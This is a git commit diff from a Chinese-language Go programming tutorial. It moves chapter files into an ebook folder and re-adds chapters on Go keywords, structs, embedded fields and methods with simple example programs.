修改目录结果
This commit is contained in:
0
01.0.md → ebook/01.0.md
Executable file → Normal file
0
01.0.md → ebook/01.0.md
Executable file → Normal file
0
01.1.md → ebook/01.1.md
Executable file → Normal file
0
01.1.md → ebook/01.1.md
Executable file → Normal file
0
01.2.md → ebook/01.2.md
Executable file → Normal file
0
01.2.md → ebook/01.2.md
Executable file → Normal file
0
01.3.md → ebook/01.3.md
Executable file → Normal file
0
01.3.md → ebook/01.3.md
Executable file → Normal file
0
01.4.md → ebook/01.4.md
Executable file → Normal file
0
01.4.md → ebook/01.4.md
Executable file → Normal file
0
01.5.md → ebook/01.5.md
Executable file → Normal file
0
01.5.md → ebook/01.5.md
Executable file → Normal file
38
02.0.md → ebook/02.0.md
Executable file → Normal file
38
02.0.md → ebook/02.0.md
Executable file → Normal file
@@ -1,19 +1,19 @@
|
||||
# 2 Go语言基础
|
||||
|
||||
Go是一门类似C的编译型语言,但是它的编译速度非常快。这门语言的关键字总共也就二十五个,比英文字母还少一个,这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样:
|
||||
|
||||
break default func interface select
|
||||
case defer go map struct
|
||||
chan else goto package switch
|
||||
const fallthrough if range type
|
||||
continue for import return var
|
||||
|
||||
在接下来的这一章中,我将带领你去学习这门语言的基础。通过每一小节的介绍,你将发现,Go的世界是那么地简洁,设计是如此地美妙,编写Go将会是一件愉快的事情。等回过头来,你就会发现这二十五个关键字是多么地亲切。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第一章总结](<01.5.md>)
|
||||
* 下一节: [你好,Go](<02.1.md>)
|
||||
# 2 Go语言基础
|
||||
|
||||
Go是一门类似C的编译型语言,但是它的编译速度非常快。这门语言的关键字总共也就二十五个,比英文字母还少一个,这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样:
|
||||
|
||||
break default func interface select
|
||||
case defer go map struct
|
||||
chan else goto package switch
|
||||
const fallthrough if range type
|
||||
continue for import return var
|
||||
|
||||
在接下来的这一章中,我将带领你去学习这门语言的基础。通过每一小节的介绍,你将发现,Go的世界是那么地简洁,设计是如此地美妙,编写Go将会是一件愉快的事情。等回过头来,你就会发现这二十五个关键字是多么地亲切。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第一章总结](<01.5.md>)
|
||||
* 下一节: [你好,Go](<02.1.md>)
|
||||
0
02.1.md → ebook/02.1.md
Executable file → Normal file
0
02.1.md → ebook/02.1.md
Executable file → Normal file
0
02.2.md → ebook/02.2.md
Executable file → Normal file
0
02.2.md → ebook/02.2.md
Executable file → Normal file
0
02.3.md → ebook/02.3.md
Executable file → Normal file
0
02.3.md → ebook/02.3.md
Executable file → Normal file
418
02.4.md → ebook/02.4.md
Executable file → Normal file
418
02.4.md → ebook/02.4.md
Executable file → Normal file
@@ -1,209 +1,209 @@
|
||||
# 2.4 struct类型
|
||||
## struct
|
||||
Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
|
||||
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
看到了吗?声明一个struct如此简单,上面的类型包含有两个字段
|
||||
- 一个string类型的字段name,用来保存用户名称这个属性
|
||||
- 一个int类型的字段age,用来保存用户年龄这个属性
|
||||
|
||||
如何使用struct呢?请看下面的代码
|
||||
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
var P person // P现在就是person类型的变量了
|
||||
|
||||
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
|
||||
P.age = 25 // 赋值"25"给变量P的age属性
|
||||
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
|
||||
除了上面这种P的声明使用之外,还有两种声明使用方式
|
||||
|
||||
- 1.按照顺序提供初始化值
|
||||
|
||||
P := person{"Tom", 25}
|
||||
|
||||
- 2.通过`field:value`的方式初始化,这样可以任意顺序
|
||||
|
||||
P := person{age:24, name:"Tom"}
|
||||
|
||||
下面我们看一个完整的使用struct的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
// 声明一个新的类型
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
|
||||
// struct也是传值的
|
||||
func Older(p1, p2 person) (person, int) {
|
||||
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
|
||||
return p1, p1.age-p2.age
|
||||
}
|
||||
return p2, p2.age-p1.age
|
||||
}
|
||||
|
||||
func main() {
|
||||
var tom person
|
||||
|
||||
// 赋值初始化
|
||||
tom.name, tom.age = "Tom", 18
|
||||
|
||||
// 两个字段都写清楚的初始化
|
||||
bob := person{age:25, name:"Bob"}
|
||||
|
||||
// 按照struct定义顺序初始化值
|
||||
paul := person{"Paul", 43}
|
||||
|
||||
tb_Older, tb_diff := Older(tom, bob)
|
||||
tp_Older, tp_diff := Older(tom, paul)
|
||||
bp_Older, bp_diff := Older(bob, paul)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
tom.name, bob.name, tb_Older.name, tb_diff)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
tom.name, paul.name, tp_Older.name, tp_diff)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
bob.name, paul.name, bp_Older.name, bp_diff)
|
||||
}
|
||||
|
||||
### struct的匿名字段
|
||||
我们上面介绍了如何定义一个struct,定义的时候是字段名与其类型一一对应,实际上Go支持只提供类型,而不写字段名的方式,也就是匿名字段,也称为嵌入字段。
|
||||
|
||||
当匿名字段是一个struct的时候,那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
|
||||
|
||||
让我们来看一个例子,让上面说的这些更具体化
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
weight int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human // 匿名字段,那么默认Student就包含了Human的所有字段
|
||||
speciality string
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 我们初始化一个学生
|
||||
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
|
||||
|
||||
// 我们访问相应的字段
|
||||
fmt.Println("His name is ", mark.name)
|
||||
fmt.Println("His age is ", mark.age)
|
||||
fmt.Println("His weight is ", mark.weight)
|
||||
fmt.Println("His speciality is ", mark.speciality)
|
||||
// 修改对应的备注信息
|
||||
mark.speciality = "AI"
|
||||
fmt.Println("Mark changed his speciality")
|
||||
fmt.Println("His speciality is ", mark.speciality)
|
||||
// 修改他的年龄信息
|
||||
fmt.Println("Mark become old")
|
||||
mark.age = 46
|
||||
fmt.Println("His age is", mark.age)
|
||||
// 修改他的体重信息
|
||||
fmt.Println("Mark is not an athlet anymore")
|
||||
mark.weight += 60
|
||||
fmt.Println("His weight is", mark.weight)
|
||||
}
|
||||
|
||||
图例如下:
|
||||
|
||||

|
||||
|
||||
图2.7 Student和Human的方法继承
|
||||
|
||||
我们看到Student访问属性age和name的时候,就像访问自己所有用的字段一样,对,匿名字段就是这样,能够实现字段的继承。是不是很酷啊?还有比这个更酷的呢,那就是student还能访问Human这个字段作为字段名。请看下面的代码,是不是更酷了。
|
||||
|
||||
mark.Human = Human{"Marcus", 55, 220}
|
||||
mark.Human.age -= 1
|
||||
|
||||
通过匿名访问和修改字段相当的有用,但是不仅仅是struct字段哦,所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Skills []string
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
weight int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human // 匿名字段,struct
|
||||
Skills // 匿名字段,自定义的类型string slice
|
||||
int // 内置类型作为匿名字段
|
||||
speciality string
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 初始化学生Jane
|
||||
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
|
||||
// 现在我们来访问相应的字段
|
||||
fmt.Println("Her name is ", jane.name)
|
||||
fmt.Println("Her age is ", jane.age)
|
||||
fmt.Println("Her weight is ", jane.weight)
|
||||
fmt.Println("Her speciality is ", jane.speciality)
|
||||
// 我们来修改他的skill技能字段
|
||||
jane.Skills = []string{"anatomy"}
|
||||
fmt.Println("Her skills are ", jane.Skills)
|
||||
fmt.Println("She acquired two new ones ")
|
||||
jane.Skills = append(jane.Skills, "physics", "golang")
|
||||
fmt.Println("Her skills now are ", jane.Skills)
|
||||
// 修改匿名内置类型字段
|
||||
jane.int = 3
|
||||
fmt.Println("Her preferred number is", jane.int)
|
||||
}
|
||||
|
||||
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。
|
||||
|
||||
这里有一个问题:如果human里面有一个字段叫做phone,而student也有一个字段叫做phone,那么该怎么办呢?
|
||||
|
||||
Go里面很简单的解决了这个问题,最外层的优先访问,也就是当你通过`student.phone`访问的时候,是访问student里面的字段,而不是human里面的字段。
|
||||
|
||||
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string // Human类型拥有的字段
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human // 匿名字段Human
|
||||
speciality string
|
||||
phone string // 雇员的phone字段
|
||||
}
|
||||
|
||||
func main() {
|
||||
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
|
||||
fmt.Println("Bob's work phone is:", Bob.phone)
|
||||
// 如果我们要访问Human的phone字段
|
||||
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
|
||||
}
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [流程和函数](<02.3.md>)
|
||||
* 下一节: [面向对象](<02.5.md>)
|
||||
# 2.4 struct类型
|
||||
## struct
|
||||
Go语言中,也和C或者其他语言一样,我们可以声明新的类型,作为其它类型的属性或字段的容器。例如,我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
|
||||
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
看到了吗?声明一个struct如此简单,上面的类型包含有两个字段
|
||||
- 一个string类型的字段name,用来保存用户名称这个属性
|
||||
- 一个int类型的字段age,用来保存用户年龄这个属性
|
||||
|
||||
如何使用struct呢?请看下面的代码
|
||||
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
var P person // P现在就是person类型的变量了
|
||||
|
||||
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
|
||||
P.age = 25 // 赋值"25"给变量P的age属性
|
||||
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
|
||||
除了上面这种P的声明使用之外,还有两种声明使用方式
|
||||
|
||||
- 1.按照顺序提供初始化值
|
||||
|
||||
P := person{"Tom", 25}
|
||||
|
||||
- 2.通过`field:value`的方式初始化,这样可以任意顺序
|
||||
|
||||
P := person{age:24, name:"Tom"}
|
||||
|
||||
下面我们看一个完整的使用struct的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
// 声明一个新的类型
|
||||
type person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
|
||||
// struct也是传值的
|
||||
func Older(p1, p2 person) (person, int) {
|
||||
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
|
||||
return p1, p1.age-p2.age
|
||||
}
|
||||
return p2, p2.age-p1.age
|
||||
}
|
||||
|
||||
func main() {
|
||||
var tom person
|
||||
|
||||
// 赋值初始化
|
||||
tom.name, tom.age = "Tom", 18
|
||||
|
||||
// 两个字段都写清楚的初始化
|
||||
bob := person{age:25, name:"Bob"}
|
||||
|
||||
// 按照struct定义顺序初始化值
|
||||
paul := person{"Paul", 43}
|
||||
|
||||
tb_Older, tb_diff := Older(tom, bob)
|
||||
tp_Older, tp_diff := Older(tom, paul)
|
||||
bp_Older, bp_diff := Older(bob, paul)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
tom.name, bob.name, tb_Older.name, tb_diff)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
tom.name, paul.name, tp_Older.name, tp_diff)
|
||||
|
||||
fmt.Printf("Of %s and %s, %s is older by %d years\n",
|
||||
bob.name, paul.name, bp_Older.name, bp_diff)
|
||||
}
|
||||
|
||||
### struct的匿名字段
|
||||
我们上面介绍了如何定义一个struct,定义的时候是字段名与其类型一一对应,实际上Go支持只提供类型,而不写字段名的方式,也就是匿名字段,也称为嵌入字段。
|
||||
|
||||
当匿名字段是一个struct的时候,那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
|
||||
|
||||
让我们来看一个例子,让上面说的这些更具体化
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
weight int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human // 匿名字段,那么默认Student就包含了Human的所有字段
|
||||
speciality string
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 我们初始化一个学生
|
||||
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
|
||||
|
||||
// 我们访问相应的字段
|
||||
fmt.Println("His name is ", mark.name)
|
||||
fmt.Println("His age is ", mark.age)
|
||||
fmt.Println("His weight is ", mark.weight)
|
||||
fmt.Println("His speciality is ", mark.speciality)
|
||||
// 修改对应的备注信息
|
||||
mark.speciality = "AI"
|
||||
fmt.Println("Mark changed his speciality")
|
||||
fmt.Println("His speciality is ", mark.speciality)
|
||||
// 修改他的年龄信息
|
||||
fmt.Println("Mark become old")
|
||||
mark.age = 46
|
||||
fmt.Println("His age is", mark.age)
|
||||
// 修改他的体重信息
|
||||
fmt.Println("Mark is not an athlet anymore")
|
||||
mark.weight += 60
|
||||
fmt.Println("His weight is", mark.weight)
|
||||
}
|
||||
|
||||
图例如下:
|
||||
|
||||

|
||||
|
||||
图2.7 Student和Human的方法继承
|
||||
|
||||
我们看到Student访问属性age和name的时候,就像访问自己所有用的字段一样,对,匿名字段就是这样,能够实现字段的继承。是不是很酷啊?还有比这个更酷的呢,那就是student还能访问Human这个字段作为字段名。请看下面的代码,是不是更酷了。
|
||||
|
||||
mark.Human = Human{"Marcus", 55, 220}
|
||||
mark.Human.age -= 1
|
||||
|
||||
通过匿名访问和修改字段相当的有用,但是不仅仅是struct字段哦,所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Skills []string
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
weight int
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human // 匿名字段,struct
|
||||
Skills // 匿名字段,自定义的类型string slice
|
||||
int // 内置类型作为匿名字段
|
||||
speciality string
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 初始化学生Jane
|
||||
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
|
||||
// 现在我们来访问相应的字段
|
||||
fmt.Println("Her name is ", jane.name)
|
||||
fmt.Println("Her age is ", jane.age)
|
||||
fmt.Println("Her weight is ", jane.weight)
|
||||
fmt.Println("Her speciality is ", jane.speciality)
|
||||
// 我们来修改他的skill技能字段
|
||||
jane.Skills = []string{"anatomy"}
|
||||
fmt.Println("Her skills are ", jane.Skills)
|
||||
fmt.Println("She acquired two new ones ")
|
||||
jane.Skills = append(jane.Skills, "physics", "golang")
|
||||
fmt.Println("Her skills now are ", jane.Skills)
|
||||
// 修改匿名内置类型字段
|
||||
jane.int = 3
|
||||
fmt.Println("Her preferred number is", jane.int)
|
||||
}
|
||||
|
||||
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段,而且可以在相应的字段上面进行函数操作(如例子中的append)。
|
||||
|
||||
这里有一个问题:如果human里面有一个字段叫做phone,而student也有一个字段叫做phone,那么该怎么办呢?
|
||||
|
||||
Go里面很简单的解决了这个问题,最外层的优先访问,也就是当你通过`student.phone`访问的时候,是访问student里面的字段,而不是human里面的字段。
|
||||
|
||||
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string // Human类型拥有的字段
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human // 匿名字段Human
|
||||
speciality string
|
||||
phone string // 雇员的phone字段
|
||||
}
|
||||
|
||||
func main() {
|
||||
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
|
||||
fmt.Println("Bob's work phone is:", Bob.phone)
|
||||
// 如果我们要访问Human的phone字段
|
||||
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
|
||||
}
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [流程和函数](<02.3.md>)
|
||||
* 下一节: [面向对象](<02.5.md>)
|
||||
650
02.5.md → ebook/02.5.md
Executable file → Normal file
650
02.5.md → ebook/02.5.md
Executable file → Normal file
@@ -1,325 +1,325 @@
|
||||
# 2.5 面向对象
|
||||
前面两章我们介绍了函数和struct,那你是否想过函数当作struct的字段一样来处理呢?今天我们就讲解一下函数的另一种形态,带有接收者的函数,我们称为`method`
|
||||
|
||||
## method
|
||||
现在假设有这么一个场景,你定义了一个struct叫做长方形,你现在想要计算他的面积,那么按照我们一般的思路应该会用下面的方式来实现
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Rectangle struct {
|
||||
width, height float64
|
||||
}
|
||||
|
||||
func area(r Rectangle) float64 {
|
||||
return r.width*r.height
|
||||
}
|
||||
|
||||
func main() {
|
||||
r1 := Rectangle{12, 2}
|
||||
r2 := Rectangle{9, 4}
|
||||
fmt.Println("Area of r1 is: ", area(r1))
|
||||
fmt.Println("Area of r2 is: ", area(r2))
|
||||
}
|
||||
|
||||
这段代码可以计算出来长方形的面积,但是area()不是作为Rectangle的方法实现的(类似面向对象里面的方法),而是将Rectangle的对象(如r1,r2)作为参数传入函数计算面积的。
|
||||
|
||||
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
|
||||
|
||||
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说,并不属于class),他们是单独存在于struct外围,而非在概念上属于某个struct的。
|
||||
|
||||

|
||||
|
||||
图2.8 方法和struct的关系图
|
||||
|
||||
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
|
||||
|
||||
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
|
||||
|
||||
用上面提到的形状的例子来说,method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle, area()是属于Rectangle的方法,而非一个外围函数。
|
||||
|
||||
更具体地说,Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
|
||||
|
||||
用Rob Pike的话来说就是:
|
||||
|
||||
>"A method is a function with an implicit first argument, called a receiver."
|
||||
|
||||
method的语法如下:
|
||||
|
||||
func (r ReceiverType) funcName(parameters) (results)
|
||||
|
||||
下面我们用最开始的例子用method来实现:
|
||||
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
)
|
||||
|
||||
type Rectangle struct {
|
||||
width, height float64
|
||||
}
|
||||
|
||||
type Circle struct {
|
||||
radius float64
|
||||
}
|
||||
|
||||
func (r Rectangle) area() float64 {
|
||||
return r.width*r.height
|
||||
}
|
||||
|
||||
func (c Circle) area() float64 {
|
||||
return c.radius * c.radius * math.Pi
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
r1 := Rectangle{12, 2}
|
||||
r2 := Rectangle{9, 4}
|
||||
c1 := Circle{10}
|
||||
c2 := Circle{25}
|
||||
|
||||
fmt.Println("Area of r1 is: ", r1.area())
|
||||
fmt.Println("Area of r2 is: ", r2.area())
|
||||
fmt.Println("Area of c1 is: ", c1.area())
|
||||
fmt.Println("Area of c2 is: ", c2.area())
|
||||
}
|
||||
|
||||
|
||||
|
||||
在使用method的时候重要注意几点
|
||||
|
||||
- 虽然method的名字一模一样,但是如果接收者不一样,那么method就不一样
|
||||
- method里面可以访问接收者的字段
|
||||
- 调用method通过`.`访问,就像struct里面访问字段一样
|
||||
|
||||
图示如下:
|
||||
|
||||

|
||||
|
||||
图2.9 不同struct的method不同
|
||||
|
||||
在上例,method area() 分别属于Rectangle和Circle, 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说,这个area()方法 是由 Rectangle/Circle 发出的。
|
||||
|
||||
>值得说明的一点是,图示中method用虚线标出,意思是此处方法的Receiver是以值传递,而非引用传递,是的,Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
|
||||
|
||||
那是不是method只能作用在struct上面呢?当然不是咯,他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了,什么叫自定义类型,自定义类型不就是struct嘛,不是这样的哦,struct只是自定义类型里面一种比较特殊的类型而已,还有其他自定义类型申明,可以通过如下这样的申明来实现。
|
||||
|
||||
type typeName typeLiteral
|
||||
|
||||
请看下面这个申明自定义类型的代码
|
||||
|
||||
type ages int
|
||||
|
||||
type money float32
|
||||
|
||||
type months map[string]int
|
||||
|
||||
m := months {
|
||||
"January":31,
|
||||
"February":28,
|
||||
...
|
||||
"December":31,
|
||||
}
|
||||
|
||||
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef,例如上面ages替代了int
|
||||
|
||||
好了,让我们回到`method`
|
||||
|
||||
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
const(
|
||||
WHITE = iota
|
||||
BLACK
|
||||
BLUE
|
||||
RED
|
||||
YELLOW
|
||||
)
|
||||
|
||||
type Color byte
|
||||
|
||||
type Box struct {
|
||||
width, height, depth float64
|
||||
color Color
|
||||
}
|
||||
|
||||
type BoxList []Box //a slice of boxes
|
||||
|
||||
func (b Box) Volume() float64 {
|
||||
return b.width * b.height * b.depth
|
||||
}
|
||||
|
||||
func (b *Box) SetColor(c Color) {
|
||||
b.color = c
|
||||
}
|
||||
|
||||
func (bl BoxList) BiggestsColor() Color {
|
||||
v := 0.00
|
||||
k := Color(WHITE)
|
||||
for _, b := range bl {
|
||||
if b.Volume() > v {
|
||||
v = b.Volume()
|
||||
k = b.color
|
||||
}
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
func (bl BoxList) PaintItBlack() {
|
||||
for i, _ := range bl {
|
||||
bl[i].SetColor(BLACK)
|
||||
}
|
||||
}
|
||||
|
||||
func (c Color) String() string {
|
||||
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
|
||||
return strings[c]
|
||||
}
|
||||
|
||||
func main() {
|
||||
boxes := BoxList {
|
||||
Box{4, 4, 4, RED},
|
||||
Box{10, 10, 1, YELLOW},
|
||||
Box{1, 1, 20, BLACK},
|
||||
Box{10, 10, 1, BLUE},
|
||||
Box{10, 30, 1, WHITE},
|
||||
Box{20, 20, 20, YELLOW},
|
||||
}
|
||||
|
||||
fmt.Printf("We have %d boxes in our set\n", len(boxes))
|
||||
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
|
||||
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
|
||||
|
||||
fmt.Println("Let's paint them all black")
|
||||
boxes.PaintItBlack()
|
||||
fmt.Println("The color of the second one is", boxes[1].color.String())
|
||||
|
||||
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
|
||||
}
|
||||
|
||||
上面的代码通过const定义了一些常量,然后定义了一些自定义类型
|
||||
|
||||
- Color作为byte的别名
|
||||
- 定义了一个struct:Box,含有三个长宽高字段和一个颜色属性
|
||||
- 定义了一个slice:BoxList,含有Box
|
||||
|
||||
然后以上面的自定义类型为接收者定义了一些method
|
||||
|
||||
- Volume()定义了接收者为Box,返回Box的容量
|
||||
- SetColor(c Color),把Box的颜色改为c
|
||||
- BiggestsColor()定在在BoxList上面,返回list里面容量最大的颜色
|
||||
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
|
||||
- String()定义在Color上面,返回Color的具体颜色(字符串格式)
|
||||
|
||||
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
|
||||
|
||||
### 指针作为receiver
|
||||
现在让我们回过头来看看SetColor这个method,它的receiver是一个指向Box的指针,是的,你可以使用*Box。想想为啥要使用指针而不是Box本身呢?
|
||||
|
||||
我们定义SetColor的真正目的是想改变这个Box的颜色,如果不传Box的指针,那么SetColor接受的其实是Box的一个copy,也就是说method内对于颜色值的修改,其实只作用于Box的copy,而不是真正的Box。所以我们需要传入指针。
|
||||
|
||||
这里可以把receiver当作method的第一个参数来看,然后结合前面函数讲解的传值和传引用就不难理解
|
||||
|
||||
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
|
||||
|
||||
你是对的,其实Go里面这两种方式都是正确的,当你用指针去访问相应的字段时(虽然指针没有任何的字段),Go知道你要通过指针去获取这个值,看到了吧,Go的设计是不是越来越吸引你了。
|
||||
|
||||
也许细心的读者会问这样的问题,PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`,因为SetColor的receiver是*Box,而不是Box。
|
||||
|
||||
你又说对的,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。
|
||||
|
||||
也就是说:
|
||||
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method,而不需要&V去调用这个method
|
||||
|
||||
类似的
|
||||
>如果一个method的receiver是T,你可以在一个*T类型的变量P上面调用这个method,而不需要 *P去调用这个method
|
||||
|
||||
所以,你不用担心你是调用的指针的method还是不是指针的method,Go知道你要做的一切,这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
|
||||
|
||||
### method继承
|
||||
前面一章我们学习了字段的继承,那么你也会发现Go的一个神奇之处,method也是可以继承的。如果匿名字段实现了一个method,那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
}
|
||||
|
||||
//在human上面定义了一个method
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
|
||||
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
|
||||
|
||||
mark.SayHi()
|
||||
sam.SayHi()
|
||||
}
|
||||
|
||||
### method重写
|
||||
上面的例子中,如果Emplyee想要实现自己的SayHi,怎么办?简单,和匿名字段冲突一样的道理,我们可以在Emplyee上面定义一个method,重写了匿名字段的方法。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
}
|
||||
|
||||
//Human定义method
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
//Employee的method重写Human的method
|
||||
func (e *Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
func main() {
|
||||
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
|
||||
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
|
||||
|
||||
mark.SayHi()
|
||||
sam.SayHi()
|
||||
}
|
||||
|
||||
上面的代码设计的是如此的美妙,让人不自觉的为Go的设计惊叹!
|
||||
|
||||
